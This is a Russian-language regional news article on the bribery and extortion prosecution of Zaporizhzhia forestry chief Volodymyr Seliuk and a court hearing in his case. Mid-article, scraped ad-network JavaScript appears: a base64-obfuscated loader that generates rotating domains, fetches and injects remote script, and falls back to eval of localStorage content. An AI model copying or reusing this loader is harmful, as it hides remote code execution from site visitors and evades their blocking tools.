Начальник Запорожского областного управления лесоохотничьего хозяйства Владимир Селюк предстанет перед судом за организацию коррупционной схемы и вымогательство средств.
Как ранее сообщал «Акцент», в сентябре 2020 года в Запорожском областном лесоохотничьем хозяйстве сотрудниками Государственного бюро расследований совместно с оперативниками
Управления специальных расследований было проведено громкое задержание, сопровождавшееся обысками.
Задержанным оказался руководитель областного лесхоза Владимир Селюк, возглавивший управление в ноябре 2017 года.
Утром 4 сентября 2020 года, находясь в своем служебном кабинете Селюк получил от подчинённого денежные средства в сумме 60 000 гривен, которые последний передал на выполнение требований о повторном предоставлении неправомерной выгоды от реализации урожая ячменя за неувольнение с занимаемой должности. В связи с этим, 4 сентября 2020 года в 09:50 Селюк был задержан правоохранителями. Санкция статьи предусматривает наказание в виде лишения свободы сроком до 10 лет с конфискацией имущества.
Детальнее «Акцент» рассказывал о хронологии преступления в своём материале «Обкладывал данью подчинённых: подробности громкого задержания ГБР в Запорожье».
Видео задержания:
В начале декабря 2020 года в осуществляющей процессуальный контроль за резонансным задержанием Киевской прокуратуре рассказали подробности громкого дела. Как оказалось, помимо вымогательства денег со своих подчинённых, Селюк пытался также привлечь подчиненного к вымогательству взяток с граждан, самовольно занявших земельные участки на территории лесничества. Согласно преступного умысла, за денежные средства в сумме от 2 до 3 тысяч долларов США чиновник обещал не сообщать в правоохранительные органы о таких случаях.
В киевской прокуратуре сообщили подробности по делу запорожского чиновника-коррупционера
7 декабря 2020 года в Коммунарский районный суд г. Запорожье поступил обвинительный акт по уголовному производству №62020100000001635 от 19 августа 2020 года по обвинению Владимира Селюка в совершении уголовных преступлений, предусмотренных ч. 2 ст. 189, ч. 1 ст. 14 ч. 3 ст. 368 УК Украины.
Первое заседание по делу состоялось 26 января 2021 года. Как следует из предоставленных судом материалов, защитником обвиняемого является адвокат Теймур Мамедов, по совместительству активист партии «Порядок» и президент Запорожской областной федерации таиландского бокса. Согласно тем же документам, пострадавшим является лесничий Михайловского лесничества, входящего в структуру госпредприятия «Запорожское лесоохотничье хозяйство». var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Согласно постановлению суда, судья Наумова И.И. приняла решение отказать стороне защиты обвиняемого о возвращении обвинительного акта, не сочтя удовлетворительными такие аргументы адвоката, как несоответствие Криминально процессуальному кодексу Украины, поскольку в обвинительном акте не конкретизировано обвинение и не указаны сведения, что защиту обвиняемого осуществляет адвокат Мамедов Т.К.
Также суд оставил без удовлетворения и письменное ходатайство прокурора об отстранении Селюка с занимаемой должности. К слову, первое решение о неотстранении Селюка с должности принимал одиозный судья Печерского райсуда г. Киева Сергей Владимирович Вовк, скандально известный своими предвзятыми и политически мотивированными решениями и многочисленными отстранениями. Тогда Селюк был выпущен под залог в сумме 175 760 гривен.
Главным аргументом защиты обвиняемого стало место работы Селюка. Так как он является госслужащим, то получение зарплаты является единственным источником дохода для его семьи. В случае отстранения его от занимаемой должности, обвиняемый не сможет получать доходы для обеспечения своей многочисленной семьи: жены, находящейся в декретном отпуске, и трёх несовершеннолетних детей.
В тоже время пострадавшая сторона настаивала на отстранении Селюка от занимаемой должности, поскольку занимая должность начальника Запорожского областного управления лесного и охотничьего хозяйства, пользуясь своим служебным положением, может оказывать давление на свидетелей и заявителя в уголовном производстве.
Потерпевший и его представитель просили назначить судебное разбирательство уголовного производства, поддержать ходатайство прокурора об отстранении обвиняемого от занимаемой должности, в отношении удовлетворения ходатайства защитника обвиняемого возражали.
Дополнительно пострадавший добавил что считает, что обвиняемый через своего подчиненного, который является начальником потерпевшего, оказывает давление на последнего, так как постоянно назначаются проверки его лесничества, не выдаются запчасти для техники, лесорубные билеты, топливо.
Следующее судебное заседание назначено на 21 апреля текущего года. «Акцент» продолжит следить за развитием событий. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/troe-detej-kak-argument-zashhity-zaporozhskij-sud-ostavil-na-dolzhnosti-chinovnika-pogorevshego-na-vzyatke/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
